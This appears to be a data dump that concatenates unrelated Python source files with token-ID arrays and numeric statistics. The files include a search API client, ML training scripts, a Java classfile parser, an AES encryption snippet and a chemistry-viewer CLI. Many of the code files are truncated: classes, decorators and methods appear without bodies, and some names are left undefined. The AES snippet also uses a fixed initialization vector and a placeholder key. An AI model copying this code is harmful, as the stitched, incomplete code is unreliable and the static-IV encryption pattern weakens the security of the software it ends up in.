{'index':'movies','query':{'bool':{'must':[{'query_string':' movie'}]}},'script_fields':{'myexpr':{'script':{'inline':'IF(rating>8,1,0)'}}},'sort':[{'myexpr':'desc'},{'_score':'desc'}],'profile':true} ``` It responds with an object with: - time of execution - if the query timed out - an array with hits (matched documents) - additional, if profiling is enabled, an array with profiling information is attached ``` {'took':10,'timed_out':false,'hits':{'total':2,'hits':[{'_id':'1','_score':1,'_source':{'gid':11}},{'_id':'2','_score':1,'_source':{'gid':12}}]}} ``` For more information about the match query syntax, additional paramaters that can be set to the input and response, please check: https://manual.manticoresearch.com/Searching/Full_text_matching/Basic_usage#HTTP. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.search(search_request, async_req=True) >>> result = thread.get() :param search_request: (required) :type search_request: SearchRequest :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: SearchResponse """ kwargs['_return_http_data_only'] = True return self.search_with_http_info(search_request, **kwargs) # noqa: E501 def search_with_http_info(self, search_request, **kwargs): # noqa: E501 """Performs a search # noqa: E501 Expects an object with mandatory properties: * the index name * the match query object Example : ``` {'index':'movies','query':{'bool':{'must':[{'query_string':' movie'}]}},'script_fields':{'myexpr':{'script':{'inline':'IF(rating>8,1,0)'}}},'sort':[{'myexpr':'desc'},{'_score':'desc'}],'profile':true} ``` It responds with an object with: - time of execution - if the query timed out - an array with hits (matched documents) - additional, if profiling is enabled, an array with profiling information is attached ``` {'took':10,'timed_out':false,'hits':{'total':2,'hits':[{'_id':'1','_score':1,'_source':{'gid':11}},{'_id':'2','_score':1,'_source':{'gid':12}}]}} ``` For more information about the match query syntax, additional paramaters that can be set to the input and response, please check: https://manual.manticoresearch.com/Searching/Full_text_matching/Basic_usage#HTTP. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.search_with_http_info(search_request, async_req=True) >>> result = thread.get() :param search_request: (required) :type search_request: SearchRequest :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(SearchResponse, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'search_request' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method search" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'search_request' is set if self.api_client.client_side_validation and ('search_request' not in local_var_params or # noqa: E501 local_var_params['search_request'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `search_request` when calling `search`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'search_request' in local_var_params: body_params = local_var_params['search_request'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 res = self.api_client.call_api( '/json/search', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SearchResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth')) return res
[ 2, 19617, 25, 3384, 69, 12, 23, 198, 198, 2, 337, 5109, 382, 11140, 20985, 198, 2, 15069, 357, 66, 8, 12131, 12, 1238, 2481, 11, 337, 5109, 382, 10442, 42513, 357, 5450, 1378, 76, 5109, 382, 12947, 13, 785, 8, 198, 2, 220, 198, ...
2.269055
7,203
import logging from typing import AnyStr, Callable, Iterable, List, Optional, Tuple LOGGER = logging.getLogger(__name__) T_IsJunkFunction = Callable[[AnyStr, int], bool] EMPTY_MATCHING_BLOCKS = MatchingBlocks([])
[ 11748, 18931, 198, 198, 6738, 19720, 1330, 4377, 13290, 11, 4889, 540, 11, 40806, 540, 11, 7343, 11, 32233, 11, 309, 29291, 628, 198, 25294, 30373, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 628, 198, 51, 62, 3792, 41,...
2.8625
80
# This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. from __future__ import absolute_import, division, print_function import sys from distutils.ccompiler import new_compiler from distutils.dist import Distribution from cffi import FFI def build_ffi_for_binding(module_name, module_prefix, modules, libraries=[], extra_compile_args=[], extra_link_args=[]): """ Modules listed in ``modules`` should have the following attributes: * ``INCLUDES``: A string containing C includes. * ``TYPES``: A string containing C declarations for types. * ``FUNCTIONS``: A string containing C declarations for functions. * ``MACROS``: A string containing C declarations for any macros. * ``CUSTOMIZATIONS``: A string containing arbitrary top-level C code, this can be used to do things like test for a define and provide an alternate implementation based on that. """ types = [] includes = [] functions = [] macros = [] customizations = [] for name in modules: __import__(module_prefix + name) module = sys.modules[module_prefix + name] types.append(module.TYPES) macros.append(module.MACROS) functions.append(module.FUNCTIONS) includes.append(module.INCLUDES) customizations.append(module.CUSTOMIZATIONS) # We include functions here so that if we got any of their definitions # wrong, the underlying C compiler will explode. In C you are allowed # to re-declare a function if it has the same signature. That is: # int foo(int); # int foo(int); # is legal, but the following will fail to compile: # int foo(int); # int foo(short); # # XXX <arigo> No, it is a bad idea. OpenSSL itself tends to tweak # the definitions, like adding a 'const' (see issue #2575). Every # time they do so, it makes a gratuitous break in this code. It is # better to rely on the C compiler for that, which is a little bit # more flexible. That's the point of set_source(). We can still # re-enable the line ``#functions +`` below to get the original # behavior. (I would enable it during tests, but I don't find any # custom test at all..??) # verify_source = "\n".join( includes + #functions + customizations ) ffi = build_ffi( module_name, cdef_source="\n".join(types + functions + macros), verify_source=verify_source, libraries=libraries, extra_compile_args=extra_compile_args, extra_link_args=extra_link_args, ) return ffi def compiler_type(): """ Gets the compiler type from distutils. On Windows with MSVC it will be "msvc". On OS X and linux it is "unix". """ dist = Distribution() dist.parse_config_files() cmd = dist.get_command_obj('build') cmd.ensure_finalized() compiler = new_compiler(compiler=cmd.compiler) return compiler.compiler_type
[ 2, 770, 2393, 318, 10668, 11971, 739, 262, 2846, 286, 262, 24843, 13789, 11, 10628, 198, 2, 362, 13, 15, 11, 290, 262, 347, 10305, 13789, 13, 4091, 262, 38559, 24290, 2393, 287, 262, 6808, 286, 428, 16099, 198, 2, 329, 1844, 3307, ...
2.792487
1,118
# -*- coding: utf-8 -*- # """ TODO. """ from __future__ import print_function, division import logging from ..integrator import Base from ..lib import extensions from ..lib.utils.timing import decallmethods, timings __all__ = ["Sakura"] logger = logging.getLogger(__name__) def sakura_step(ps, tau): """ """ ps.rx += ps.vx * tau / 2 ps.ry += ps.vy * tau / 2 ps.rz += ps.vz * tau / 2 extensions.sakura.calc(ps, ps, tau/2, -1) ps.rx += ps.drx ps.ry += ps.dry ps.rz += ps.drz ps.vx += ps.dvx ps.vy += ps.dvy ps.vz += ps.dvz extensions.sakura.calc(ps, ps, tau/2, 1) ps.rx += ps.drx ps.ry += ps.dry ps.rz += ps.drz ps.vx += ps.dvx ps.vy += ps.dvy ps.vz += ps.dvz ps.rx += ps.vx * tau / 2 ps.ry += ps.vy * tau / 2 ps.rz += ps.vz * tau / 2 return ps @decallmethods(timings) class Sakura(Base): """ """ PROVIDED_METHODS = ['sakura', 'asakura', ] def __init__(self, eta, time, ps, method, **kwargs): """ """ super(Sakura, self).__init__(eta, time, ps, **kwargs) self.method = method self.e0 = None def initialize(self, t_end): """ """ logger.info("Initializing '%s' integrator.", self.method) ps = self.ps if self.reporter: self.reporter.diagnostic_report(ps) if self.dumpper: self.dumpper.dump_worldline(ps) if self.viewer: self.viewer.show_event(ps) self.is_initialized = True def finalize(self, t_end): """ """ logger.info("Finalizing '%s' integrator.", self.method) ps = self.ps if self.viewer: self.viewer.show_event(ps) self.viewer.enter_main_loop() def get_sakura_tstep(self, ps, eta, tau): """ """ ps.set_tstep(ps, eta) iw2_a = (eta/ps.tstep)**2 iw2_b = (eta/ps.tstepij)**2 diw2 = (iw2_a - iw2_b) w2_sakura = diw2.max() dt_sakura = eta/(1 + w2_sakura)**0.5 ps.tstep[...] = dt_sakura min_bts = self.get_min_block_tstep(ps, tau) return min_bts def do_step(self, ps, tau): """ """ # p0 = p.copy() # if self.e0 is None: # self.e0 = p0.kinetic_energy + p0.potential_energy # de = [1] # tol = tau**2 # nsteps = 1 # # while abs(de[0]) > tol: # p = p0.copy() # dt = tau / nsteps # for i in range(nsteps): # p = sakura_step(p, dt) # e1 = p.kinetic_energy + p.potential_energy # de[0] = e1/self.e0 - 1 # if abs(de[0]) > tol: ## nsteps += (nsteps+1)//2 # nsteps *= 2 ## print(nsteps, de, tol) # break if "asakura" in self.method: tau = self.get_sakura_tstep(ps, self.eta, tau) ps = sakura_step(ps, tau) type(ps).t_curr += tau ps.tstep[...] = tau ps.time += tau ps.nstep += 1 if self.dumpper: slc = ps.time % (self.dump_freq * tau) == 0 if any(slc): self.wl.append(ps[slc]) if self.viewer: slc = ps.time % (self.gl_freq * tau) == 0 if any(slc): self.viewer.show_event(ps[slc]) return ps ########## end of file ##########
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 198, 198, 37811, 198, 51, 3727, 46, 13, 198, 37811, 628, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 11, 7297, 198, 11748, 18931, 198, 6738, 11485, 18908, 1...
1.756716
2,010
from serif.model.event_mention_model import EventMentionModel # Modified from DummyEventMentionModel
[ 6738, 1055, 361, 13, 19849, 13, 15596, 62, 434, 295, 62, 19849, 1330, 8558, 44, 1463, 17633, 628, 198, 2, 40499, 422, 360, 13513, 9237, 44, 1463, 17633, 198 ]
3.551724
29
#!/usr/bin/env python # Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Performs some static analysis checks on Chrome debian packages using lintian. """ import argparse import os import subprocess SUPPRESSIONS = [ # Google Chrome is not software available on a distro by default, # so installing to /opt is correct behavior. 'dir-or-file-in-opt', # Distros usually don't like libraries to be statically linked # into binaries because it's easier to push a security patch on a # single package than to update many packages. Chromium # statically links some libraries anyway. 'embedded-library', # The setuid sandbox is a setuid binary. 'setuid-binary', # Some nacl binaries are statically linked but don't have "static" # in their name. 'statically-linked-binary', # Build configurations with is_official_build=false don't compress # the packages. 'uses-no-compression-for-data-tarball', ] parser = argparse.ArgumentParser() parser.add_argument('package', help='path/to/package.deb') args = parser.parse_args() package = os.path.abspath(args.package) cmd = [ 'lintian', package, '--no-tag-display-limit', '--pedantic', '--suppress-tags', ','.join(SUPPRESSIONS) ] subprocess.check_call(cmd)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 15069, 2177, 383, 18255, 1505, 46665, 13, 1439, 2489, 10395, 13, 198, 2, 5765, 286, 428, 2723, 2438, 318, 21825, 416, 257, 347, 10305, 12, 7635, 5964, 326, 460, 307, 198, 2, 1043,...
3.092715
453
""" Multilayer Perceptron model for binary classification. The model has 10 inputs, 3 hidden layers with 10, 20, and 10 neurons,and an output layer with 1 output. Rectified linear activation functions are used in each hidden layer and a sigmoid activation function is used in the output layer,for binary classification.""" import tensorflow as tf # from tensorflow.keras.utils import plot_model from tensorflow.keras.models import Model from tensorflow.keras.layers import Input from tensorflow.keras.layers import Dense visible = Input(shape=(10,)) hidden1 = Dense(10, activation= 'relu' )(visible) hidden2 = Dense(20, activation= 'relu' )(hidden1) hidden3 = Dense(10, activation= 'relu' )(hidden2) output = Dense(1, activation= 'sigmoid' )(hidden3) model = Model(inputs=visible, outputs=output) # summarize layers model.summary() # plot graph # plot_model(model, to_file= 'mlp_graph.png' )
[ 37811, 198, 15205, 346, 2794, 2448, 984, 1313, 2746, 329, 13934, 17923, 13, 220, 198, 198, 464, 2746, 468, 838, 17311, 11, 513, 7104, 11685, 351, 838, 11, 1160, 11, 290, 838, 16890, 11, 392, 281, 5072, 7679, 351, 352, 5072, 13, 198,...
3.241877
277
#%% # 画像・バウンディングボックス・ラベルのセットを準備する import torch import torch.nn as nn image = torch.zeros((1, 3, 800, 800)).float() bbox = torch.FloatTensor([[20, 30, 400, 500], [300, 400, 500, 600]]) # [y1, x1, y2, x2] format labels = torch.LongTensor([6, 8]) # 0 represents background sub_sample = 16 #%% # VGG16を、バックボーンに使用する # VGG16の出力特徴マップのサイズが 800//16 = 50 になるよう、小細工をする import torchvision dummy_img = torch.zeros((1, 3, 800, 800)).float() model = torchvision.models.vgg16(pretrained=False) vgg_layers = list(model.features) req_features = [] k = dummy_img.clone() for i in vgg_layers: k = i(k) if k.size()[2] < 800//16: break req_features.append(i) out_channels = k.size()[1] # 特徴量抽出器の完成 faster_rcnn_fe_extractor = nn.Sequential(*req_features)
[ 2, 16626, 198, 198, 2, 13328, 242, 119, 161, 225, 237, 4707, 29659, 16165, 6527, 40629, 6527, 26095, 1209, 250, 35702, 8943, 4707, 9263, 35604, 9202, 5641, 47271, 35799, 31758, 162, 118, 244, 43636, 247, 33623, 25748, 198, 198, 11748, 2...
1.934177
395
import csv
[ 11748, 269, 21370, 628 ]
3
4
#@title datasets_tutorials(cifar-10) { display-mode: "both" } # conding: utf-8 import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data # from functools import reduce import tensorflow_datasets as tfds import numpy as np import time # tf.logging.set_verbosity(tf.logging.ERROR) if __name__ == '__main__': # filepath = '/content/GoogleDrive/Python27/MNIST_data' # # filepath = r'E:\Anaconda2\Programs\MNIST_data' # mnist = input_data.read_data_sets(filepath, one_hot=True) # mnist_train = tfds.load("mnist", split=tfds.Split.TRAIN) mnist_train = tfds.as_numpy(tfds.load("cifar10", split=tfds.Split.TRAIN, batch_size=-1)) imgs_train, labels_train = mnist_train['image'].reshape(-1, 3072) / 255., mnist_train['label'] # imgs_train, labels_train = tf.reshape(mnist_train['image'], shape=[-1, 784]), tf.one_hot(mnist_train['label'], depth=10) mnist_test = tfds.as_numpy(tfds.load("cifar10", split=tfds.Split.TEST, batch_size=-1)) # mnist_test = tfds.load("mnist", split=tfds.Split.TEST, batch_size=-1) imgs_test, labels_test = mnist_test['image'].reshape(-1, 3072) / 255., mnist_test['label'] learning_rate = 3e-4 #@param {type:"number"} batch_size = 256 #@param {type:"integer"} num_epochs = 80 #@param {type:"integer"} graph = tf.Graph() with graph.as_default(): x = tf.placeholder(tf.float32, shape=[None, 3072]) y_p = tf.placeholder(tf.int64, shape=[None, ]) y = tf.one_hot(y_p, depth=10) keep_pro = tf.placeholder(tf.float32) x_imgs = tf.reshape(x, shape=[-1, 32, 32, 3], name='input_images') w_1 = tf.Variable(tf.truncated_normal([3, 3, 3, 64], stddev=0.1), name='weights_conv1') b_1 = tf.Variable(tf.constant(0.1, shape=[64]), name='bias_conv1') h_conv1 = tf.nn.relu(tf.nn.conv2d(x_imgs, w_1, strides=[1, 1, 1, 1], padding='SAME') + b_1) h_pool1 = tf.nn.max_pool(h_conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') w_2 = tf.Variable(tf.truncated_normal([3, 3, 64, 128], stddev=0.1), name='weights_conv2') b_2 = tf.Variable(tf.constant(0.1, shape=[128]), name='bias_conv2') h_conv2 = tf.nn.relu(tf.nn.conv2d(h_pool1, w_2, strides=[1, 1, 1, 1], padding='SAME') + b_2) h_pool2 = tf.nn.max_pool(h_conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') # layer_shape = h_pool2.get_shape().as_list() # num_f = reduce(lambda a,b:a * b, layer_shape[1:]) # h_pool2_fla = tf.reshape(h_pool2, shape=[-1, num_f]) h_pool2_fla = tf.layers.flatten(h_pool2) num_f = h_pool2_fla.get_shape().as_list()[-1] w_fc1 = tf.Variable(tf.truncated_normal([num_f, 256], stddev=0.1), name='weights_fc1') b_fc1 = tf.Variable(tf.constant(0.1, shape=[256]), name='bias_fc1') h_fc1 = tf.nn.relu(tf.matmul(h_pool2_fla, w_fc1) + b_fc1) h_drop1 = tf.nn.dropout(h_fc1, keep_prob=keep_pro, name='Dropout') w_fc2 = tf.Variable(tf.truncated_normal([256, 10], stddev=0.1), name='weights_fc2') b_fc2 = tf.Variable(tf.constant(0.1, shape=[10]), name='bias_fc2') h_fc2 = tf.matmul(h_drop1, w_fc2) + b_fc2 # tf.add_to_collection(tf.GraphKeys.WEIGHTS, w_fc1) # regularizer = tf.contrib.layers.l2_regularizer(scale=1500./60000) # reg_tem = tf.contrib.layers.apply_regularization(regularizer) with tf.name_scope('loss'): entropy_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=h_fc2)) # entropy_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=h_fc2) + reg_tem) with tf.name_scope('accuracy'): prediction = tf.cast(tf.equal(tf.arg_max(h_fc2, 1), tf.argmax(y, 1)), "float") accuracy = tf.reduce_mean(prediction) with tf.name_scope('train'): optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate) train_op = optimizer.minimize(entropy_loss) sess = tf.Session() with sess.as_default(): sess.run(tf.global_variables_initializer()) # batch_imgs, batch_labels = format_tran(mnist_train, batch_size=batch_size) for num in range(num_epochs): # batch = mnist.train.next_batch(batch_size) # batch_imgs, batch_labels = format_tran(mnist_train, batch_size=batch_size) # imgs_train, labels_train = batch_imgs.reshape(-1, 784), batch_labels imgs_data = np.c_[imgs_train, labels_train] np.random.shuffle(imgs_data) num_batchs = imgs_train.shape[0] // batch_size start = time.time() for num_ep in range(num_batchs): # start = time.time() imgs_batch = imgs_data[num_ep*batch_size:(num_ep+1)*batch_size, :-1] labels_batch = imgs_data[num_ep*batch_size:(num_ep+1)*batch_size,-1] _, acc, loss = sess.run([train_op, accuracy, entropy_loss], feed_dict={x: imgs_batch, y_p: labels_batch, keep_pro: 0.5}) end = time.time() acc *= 100 num_e = str(num + 1) print_list = [num_e, loss, acc] print("Epoch {0[0]}, train_loss is {0[1]:.4f}, accuracy is {0[2]:.2f}%.".format(print_list)) print("Running time is {0:.2f}s.".format(end-start)) _, acc, loss = sess.run([train_op, accuracy, entropy_loss], feed_dict={x: imgs_test, y_p: labels_test, keep_pro: 1.}) acc *= 100 print_list = [loss, acc] print("Test_loss is {0[0]:.4f}, accuracy is {0[1]:.2f}%.".format(print_list)) sess.close()
[ 2, 31, 7839, 40522, 62, 83, 44917, 82, 7, 66, 361, 283, 12, 940, 8, 1391, 3359, 12, 14171, 25, 366, 16885, 1, 1782, 198, 2, 1779, 278, 25, 3384, 69, 12, 23, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 6738, 11192, 273, 11125...
1.891842
3,236
#Declaring vars goes like this: # #in the file, all ya gotta do is specify # #<monster>_<info> = "value" # #info can be: # #size #hitpoints #speed #strength #dexterity #constitution #intelligence #wisdom #charisma #senses #language #challenge #dice #initiative #armor #baseattack #attack #fullattack #reach #specialattack #specialquality #enviroment # #Remember that you dont have to specify everything, like senses for example beholder_desc = '"It floats before you, a bulbous body with a central, unblinking eye, and a large maw filled with daggerlike teeth. Smaller eyes, attached to wriggling stalks, sprout from the top of the orblike body."' beholder_size = "Large Aberration" beholder_dice = "11d8+44 (93 hp)" beholder_initiative = "+6" beholder_armor = "26 (-1 size, +2 Dex, +15 natural), touch 11, flat-footed 24" beholder_speed = "5ft. (1 square), fly 20ft. (good)" beholder_baseattack = "+8/+12" beholder_attack = "Eye rays +9 ranged touch and bite +2 melee (2d4)" beholder_fullattack = "Same as attack" beholder_reach = "10ft./5ft." beholder_specialattack = "Eye rays" beholder_specialquality = "All-around vision, antimagic cone, darkvision 60 ft., and flight." beholder_enviroment = "Cold hills"
[ 2, 37835, 1723, 410, 945, 2925, 588, 428, 25, 198, 2, 198, 2, 259, 262, 2393, 11, 477, 21349, 17753, 466, 318, 11986, 220, 198, 2, 198, 2, 27, 39050, 29, 62, 27, 10951, 29, 796, 366, 8367, 1, 198, 2, 198, 2, 10951, 460, 307, ...
2.953659
410
# ================================================================================================== # Copyright 2011 Twitter, Inc. # -------------------------------------------------------------------------------------------------- # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this work except in compliance with the License. # You may obtain a copy of the License in the LICENSE file, or at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ================================================================================================== import sys from .java_types import * from .class_flags import ClassFlags from . import signature_parser class AttributeInfo(object): """ Encapsulate the attribute_info class. http://java.sun.com/docs/books/jvms/second_edition/html/ClassFile.doc.html#43817 attribute_info { u2 attribute_name_index; u4 attribute_length; u1 info[attribute_length]; } """ def size(self): """Total size of the attribute_info blob.""" return self._size def bytes(self): """Attribute-specific data for subclasses.""" return self._info_data class Code(AttributeInfo): """ Code_attribute { u2 attribute_name_index; u4 attribute_length; u2 max_stack; u2 max_locals; u4 code_length; u1 code[code_length]; u2 exception_table_length; { u2 start_pc; u2 end_pc; u2 handler_pc; u2 catch_type; } exception_table[exception_table_length]; u2 attributes_count; attribute_info attributes[attributes_count]; } """ @staticmethod class SourceFile(AttributeInfo): """ http://java.sun.com/docs/books/jvms/second_edition/html/ClassFile.doc.html#79868 SourceFile_attribute { u2 attribute_name_index; u4 attribute_length; u2 sourcefile_index; } """ @staticmethod class Exceptions(AttributeInfo): """ http://java.sun.com/docs/books/jvms/second_edition/html/ClassFile.doc.html#3129 Exceptions_attribute { u2 attribute_name_index; u4 attribute_length; u2 number_of_exceptions; u2 exception_index_table[number_of_exceptions]; } """ @staticmethod class Signature(AttributeInfo): """ Signature_attribute { u2 attribute_name_index; u4 attribute_length; u2 signature_index } """ @staticmethod class InnerClassFlags(object): """http://java.sun.com/docs/books/jvms/second_edition/html/ClassFile.doc.html#75734 """ ACC_PUBLIC = 0x0001 ACC_PRIVATE = 0x0002 ACC_PROTECTED = 0x0004 ACC_STATIC = 0x0008 ACC_FINAL = 0x0010 ACC_INTERFACE = 0x0200 ACC_ABSTRACT = 0x0400 ACC_SYNTHETIC = 0x1000 ACC_ANNOTATION = 0x2000 ACC_ENUM = 0x4000 MASK = ACC_PUBLIC | ACC_PRIVATE | ACC_PROTECTED | \ ACC_STATIC | ACC_FINAL | ACC_INTERFACE | \ ACC_ABSTRACT | ACC_SYNTHETIC | ACC_ANNOTATION | \ ACC_ENUM class InnerClasses(AttributeInfo): """ http://java.sun.com/docs/books/jvms/second_edition/html/ClassFile.doc.html#79996 InnerClasses_attribute { u2 attribute_name_index; u4 attribute_length; ------ u2 number_of_classes; { u2 inner_class_info_index; u2 outer_class_info_index; u2 inner_name_index; u2 inner_class_access_flags; } classes[number_of_classes]; } """ @staticmethod class Attribute(object): """ Factory for producing AttributeInfos. """ _KNOWN_ATTRIBUTE_MAP = { SourceFile.name(): SourceFile, Signature.name(): Signature, Exceptions.name(): Exceptions, Code.name(): Code # InnerClasses.name(): InnerClasses } @staticmethod def parse(data, constants): """Parse the Attribute_info @data: The data stream from which to deserialize the blob @constants: The constant pool of the class file. """ attribute_name_index = u2(data[0:2]).get() attribute_name = constants[attribute_name_index] attribute_class = Attribute._KNOWN_ATTRIBUTE_MAP.get(attribute_name.bytes(), None) if attribute_class is not None: return attribute_class(data, constants) else: return AttributeInfo(data, constants)
[ 2, 38093, 10052, 28, 198, 2, 15069, 2813, 3009, 11, 3457, 13, 198, 2, 16529, 3880, 438, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 670, 2845, 287, ...
2.725045
1,673
from pathlib import Path
[ 6738, 3108, 8019, 1330, 10644, 628 ]
4.333333
6
from Crypto.Cipher import AES from pkcs7 import PKCS7Encoder import base64 key = 'your key 16bytes' # 16 byte initialization vector iv = '1234567812345678' aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() text = 'This is my plain text' # pad the plain text according to PKCS7 pad_text = encoder.encode(text) # encrypt the padding text cipher = aes.encrypt(pad_text) # base64 encode the cipher text for transport enc_cipher = base64.b64encode(cipher) print enc_cipher
[ 6738, 36579, 13, 34, 10803, 1330, 34329, 198, 6738, 279, 74, 6359, 22, 1330, 29673, 7902, 22, 27195, 12342, 198, 11748, 2779, 2414, 198, 198, 2539, 796, 705, 14108, 1994, 1467, 33661, 6, 198, 2, 1467, 18022, 37588, 15879, 198, 452, 79...
2.858824
170
from __future__ import print_function minimum_required = '1.0.0' # Ensure Pytorch is importable and its version is sufficiently recent. This # needs to happen before anything else, since the imports below will try to # import Pytorch, too. def _ensure_pt_install(): # pylint: disable=g-statement-before-imports """Attempt to import Pytorch, and ensure its version is sufficient. Raises: ImportError: if either Pytorch is not importable or its version is inadequate. """ try: import torch except ImportError: # Print more informative error message, then reraise. print('\n\nFailed to import Pytorch. ' 'To use neuralnet-pytorch, please install ' 'Pytorch (> %s) by following instructions at ' 'https://pytorch.org/get-started/locally/.\n\n' % minimum_required) raise del torch _ensure_pt_install() # Cleanup symbols to avoid polluting namespace. del minimum_required import sys as _sys for symbol in ['_ensure_pt_install', '_sys']: delattr(_sys.modules[__name__], symbol) try: import neuralnet_pytorch.ext as ext cuda_ext_available = True del ext except ModuleNotFoundError: cuda_ext_available = False from . import utils from .utils import DataLoader, DataPrefetcher, cuda_available, function from .layers import * from .metrics import * from .monitor import * from . import optim from .version import author as __author__ from ._version import get_versions __version__ = get_versions()['version'] del get_versions
[ 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 198, 39504, 62, 35827, 796, 705, 16, 13, 15, 13, 15, 6, 628, 198, 2, 48987, 9485, 13165, 354, 318, 1330, 540, 290, 663, 2196, 318, 17338, 2274, 13, 770, 198, 2, 2476, 284, 1645, ...
2.899254
536
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from .input import write_input def main(): """ Command-line utility to generate an input for chemiscope — the interactive structure-property explorer. Parses an input file containing atomic structures using the ASE I/O module, and converts it into a JSON file that can be loaded in chemiscope. Frame and environment properties must be written in the same file containing atomic structures: we recommend the extended xyz format, which is flexible and simple. In all cases, this utility will simply write to the JSON file anything that is readable by ASE. """ import argparse try: # command-line execution. requires ASE IO module import ase.io as ase_io except ImportError: raise ImportError( "chemiscope_input needs ASE modules to parse structure inputs" ) # Tweak the autogenerated help output to look nicer parser = argparse.ArgumentParser( description=main.__doc__, formatter_class=formatter ) parser.add_argument( "input", type=str, help="input file containing the structures and properties" ) parser.add_argument( "-o", "--output", type=str, help="chemiscope output file in JSON format" ) parser.add_argument( "-c", "--cutoff", type=float, help="generate atom-centred environments with the given cutoff", ) group = parser.add_mutually_exclusive_group() group.add_argument( "--only-atoms", action="store_true", help="only use per-atom properties from the input file", ) group.add_argument( "--only-structures", action="store_true", help="only use per-structure properties from the input file", ) parser.add_argument("--name", default="", type=str, help="name of the dataset") parser.add_argument( "--description", default="", type=str, help="description of the dataset" ) parser.add_argument( "--authors", nargs="*", type=str, default=[], help="list of dataset authors" ) parser.add_argument( "--references", nargs="*", type=str, default=[], help="list of references for the dataset", ) args = parser.parse_args() if args.only_atoms and args.cutoff is None: raise Exception("--only-atoms requires to give --cutoff") if args.only_structures and args.cutoff is not None: raise Exception("--only-structure can not be given with --cutoff") # read file with ASE and remove extraneous properties frames = ase_io.read(args.input, ":") if args.only_structures: for frame in frames: for key in list(frame.arrays.keys()): if key not in ["positions", "numbers"]: del frame.arrays[key] elif args.only_atoms: for frame in frames: frame.info = {} # determine output file name automatically if missing output = args.output or args.input + "_chemiscope.json.gz" write_input( path=output, frames=frames, meta={ "name": args.name, "description": args.description, "authors": args.authors, "references": args.references, }, cutoff=args.cutoff, ) if __name__ == "__main__": main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 764, 15414, 1330, 3551, 62, 15414, 628, 198, 4299, 1388, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 2...
2.543886
1,333
